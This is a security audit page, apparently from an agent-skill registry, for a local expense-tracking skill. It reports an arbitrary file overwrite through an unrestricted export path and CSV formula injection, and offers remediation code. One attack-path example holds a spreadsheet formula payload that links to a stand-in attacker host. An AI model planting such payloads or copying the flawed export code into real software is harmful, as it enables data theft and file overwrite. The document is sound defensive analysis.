Back to skill

Security audit

AgentLedger

Security checks for vulnerabilities and agentic risk

Overview

AgentLedger is a coherent local expense-tracking skill, but its export command can write sensitive ledger data to an unrestricted caller-supplied path and overwrite local files.

Review this before installing if agents may receive untrusted instructions or export ledger data. Use only explicit, trusted export filenames, avoid absolute paths or ../ traversal, and treat CSV exports as potentially unsafe in spreadsheet software until the export path is constrained and CSV escaping is fixed. Do not store card numbers or passwords in ledger fields.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
cli.js:251
Finding

Unrestricted Export Path Allows Arbitrary File Overwrite

Content
View full analysis

Vulnerability Details

File Location: cli.js:251-257, with the overwrite sink in ledger.js:371-400
Vulnerability Type: Unrestricted file path and arbitrary file overwrite
Risk Level: Medium

Vulnerable Code

javascript
// cli.js:251-257
const filename = options.output || `transactions.${format}`;

const result = await this.ledger.exportTransactions(format, filename, {
  period: options.period
});

console.log(`📁 Exported ${result.count} transactions to ${result.path}`);
javascript
// ledger.js:371-400
async exportTransactions(format, filePath, options = {}) {
  const transactions = await this.loadTransactions();
  let filtered = transactions;

  if (options.period) {
    filtered = this.filterTransactionsByPeriod(filtered, options.period);
  }

  if (format === 'csv') {
    const csvHeader = 'Date,Amount,Currency,Vendor,Description,Category,Account,Context,ReceiptURL,ConfirmationID\n';
    const csvRows = filtered.map(t => [
      t.timestamp.split('T')[0],
      t.amount,
      t.currency,
      `"${t.vendor}"`,
      `"${t.description}"`,
      t.category,
      t.account,
      `"${t.context}"`,
      t.receiptUrl,
      t.confirmationId
    ].join(','));

    const csvContent = csvHeader + csvRows.join('\n');
    await fs.writeFile(filePath, csvContent);
  } else if (format === 'json') {
    await fs.writeFile(filePath, JSON.stringify(filtered, null, 2));
  }

  return { count: filtered.length, path: filePath };
}

Technical Analysis

The --output CLI option is accepted as an arbitrary path and passed unchanged to fs.writeFile. The implementation does not:

  • Restrict exports to a dedicated directory.
  • Reject absolute paths.
  • canonicalize and validate relative paths.
  • Prevent ../ path traversal.
  • Detect symlink-based escapes.
  • Require explicit permission before replacing an existing file.

Because fs.writeFile truncates an existing file by default, any file writable by the Node.js process can be replace ...[truncated 1621 chars]

Remediation
View remediation

Remediation Suggestions

  1. Create a dedicated export directory, such as workspace/ledger/exports.

  2. Resolve the requested filename against that directory and verify containment:

    javascript
    const exportRoot = path.resolve(this.ledgerDir, 'exports');
    await fs.mkdir(exportRoot, { recursive: true });
    
    const requestedName = path.basename(filePath);
    const destination = path.resolve(exportRoot, requestedName);
    
    if (path.dirname(destination) !== exportRoot) {
      throw new Error('Invalid export path');
    }
    
  3. Reject absolute paths and traversal components rather than silently normalizing them.

  4. Use fs.lstat and secure directory handling to prevent symlink escapes.

  5. Avoid overwriting existing files by default. Use the wx flag and require an explicit overwrite option when replacement is intended:

    javascript
    await fs.writeFile(destination, content, { flag: 'wx', mode: 0o600 });
    
  6. Set restrictive file permissions because exports contain financial records.

  7. Validate the format against an allowlist such as csv and json.

  8. Add tests covering absolute paths, ../ traversal, existing targets, and symlink destinations.

T09 · Insecure Skill Coding Practices

Warning
Location
ledger.js:379
Finding

CSV Formula Injection and Improper CSV Escaping

Content
View full analysis

Vulnerability Details

File Location: ledger.js:379-395
Vulnerability Type: CSV formula injection and malformed CSV generation
Risk Level: Medium

Vulnerable Code

javascript
const csvHeader = 'Date,Amount,Currency,Vendor,Description,Category,Account,Context,ReceiptURL,ConfirmationID\n';
const csvRows = filtered.map(t => [
  t.timestamp.split('T')[0],
  t.amount,
  t.currency,
  `"${t.vendor}"`,
  `"${t.description}"`,
  t.category,
  t.account,
  `"${t.context}"`,
  t.receiptUrl,
  t.confirmationId
].join(','));

const csvContent = csvHeader + csvRows.join('\n');
await fs.writeFile(filePath, csvContent);

Technical Analysis

The exported values originate from transaction fields supplied through the CLI or imported JSON. The exporter concatenates these values manually.

Quoting a value does not reliably prevent spreadsheet formula execution. Spreadsheet software may interpret cells beginning with formula-control characters such as =, +, -, or @ as formulas. Fields including vendor, description, category, account, context, receiptUrl, and confirmationId are not neutralized against this behavior.

The implementation also fails to apply consistent RFC 4180 escaping:

  • Embedded double quotes are not doubled.
  • CR and LF characters are not normalized or safely handled.
  • Several string fields are not quoted at all.
  • Commas in unquoted fields can create additional columns.

Consequently, a malicious value can change the structure or semantics of the resulting spreadsheet.

Attack Path

  1. An attacker causes a crafted transaction to be logged or imported. For example, a vendor or description begins with a spreadsheet formula marker:

    text
    =HYPERLINK("https://attacker.example/collect","Open receipt")
    
  2. The transaction is saved to transactions.json.

  3. A user exports the ledger to CSV.

  4. The exporter copies the malicious field into a cell without formula neutralization.

  5. The user opens the ...[truncated 946 chars]

Remediation
View remediation

Remediation Suggestions

  1. Replace manual CSV construction with a maintained CSV serialization library that correctly escapes quotes, commas, CR, and LF characters.

  2. Apply one consistent escaping function to every textual field. At minimum:

    javascript
    function escapeCsv(value) {
      let text = String(value ?? '');
    
      if (/^[=+\-@]/.test(text)) {
        text = `'${text}`;
      }
    
      return `"${text.replace(/"/g, '""')}"`;
    }
    
  3. Consider leading whitespace, tabs, and control characters that spreadsheet applications may ignore before a formula marker.

  4. Document that CSV is intended for spreadsheet use and apply spreadsheet-safe neutralization by default.

  5. Validate and limit the length and type of imported transaction fields.

  6. Add regression tests for:

    • Values beginning with =, +, -, and @.
    • Embedded double quotes.
    • Commas.
    • CR and LF characters.
    • Formula markers preceded by whitespace, tabs, or other control characters.
  7. Offer JSON as the preferred lossless export format when spreadsheet compatibility is not required.

Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (12)

Unbounded Output

Medium
Category
Output Handling
Confidence
60% confidence
Finding

Output size or generation rate is not bounded. Unbounded output enables denial-of-service through resource exhaustion, log flooding, or context-window stuffing.

Content

Scanner excerpt · SKILL.md (reported line 207)May include surrounding context.

md
- **Negative amounts**: Rejected (use positive amounts only)
- **Missing required fields**: Clear error messages with usage examples
- **Invalid currency**: Accepted (no validation - assumes user knows what they're doing)
- **Very long descriptions**: Handled without truncation

### Data Safety
- **Automatic backups**: Created before each save operation

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The removeBudget method deletes a stored budget entry and saves the modified data, which is a persistent data-changing operation. In this file there is no confirmation prompt, logging, or explanatory comment/docstring warning the user about this deletion behavior.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The exportTransactions method accepts a caller-controlled filePath and passes it directly to fs.writeFile without constraining it to the ledger workspace or validating path traversal. In an agent setting, this allows a prompt or tool caller to cause sensitive financial exports to be written to arbitrary locations, potentially overwriting other local files or exfiltrating data into locations later synced or exposed by other tools.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The exportTransactions method writes potentially sensitive financial transaction data, including vendor, description, context, receipt URLs, and confirmation IDs, to a caller-supplied file path. While the file operation is visible in code, there is no confirmation prompt, logging, or user-facing comment/disclosure warning that sensitive data will be written out to disk.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The comments say getCustomPeriod is not implemented and currently returns a placeholder, yet generateMonthlyReport uses it to derive a period for a user-specified month. In practice this means the documented intent of supporting a custom month does not match the actual behavior, because the helper returns the literal string 'custom' rather than a real date-bounded period.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
96% confidence
Finding

The call to toLocaleDateString uses the fixed locale 'en-US', forcing a specific language/locale in generated output. This can violate language/locale policy when the skill does not offer user opt-in, configuration, or justification for the locale restriction.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
80% confidence
Finding

The importPrivacyTransactions method reads a user-supplied JSON file containing financial transaction records and ingests that data into the ledger, but it provides no user-facing notice or warning about processing sensitive financial information. The method has error handling, but no confirmation, logging, or explanatory comment directed at the user about the privacy implications of importing this data.

Content

No source excerpt is available for this finding.

Vague Triggers

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

This is a manifest file, so vague-trigger rules apply. The description advertises broad capabilities like "log purchases, track budgets, generate reports, and manage finances" but does not specify concrete trigger phrases, invocation boundaries, or exclusion conditions, which could make activation scope ambiguous for an agent runtime.

Content

No source excerpt is available for this finding.

Vague Triggers

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The phrase "Natural language queries" is especially broad in a manifest context and does not indicate what kinds of queries should invoke the skill versus ordinary conversation. Without scope constraints or examples, this increases the risk of unintended invocation overlap with common user requests.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

The code explicitly formats month names using toLocaleDateString('en-US', ...), which forces a specific language/locale in generated output. This matches the policy category for locale restrictions because the user is not offered a language or locale choice, and no justification is documented in the file.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

This line formats report month labels with toLocaleDateString('en-US', ...), producing user-facing output in a fixed locale. Because the skill does not provide a locale choice or explain why U.S. English is required, this is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The weekday labels are generated with toLocaleDateString('en-US', { weekday: 'short' }), which hard-codes U.S. English abbreviations in report output. This imposes a language/locale choice on the user without opt-in or documented justification.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.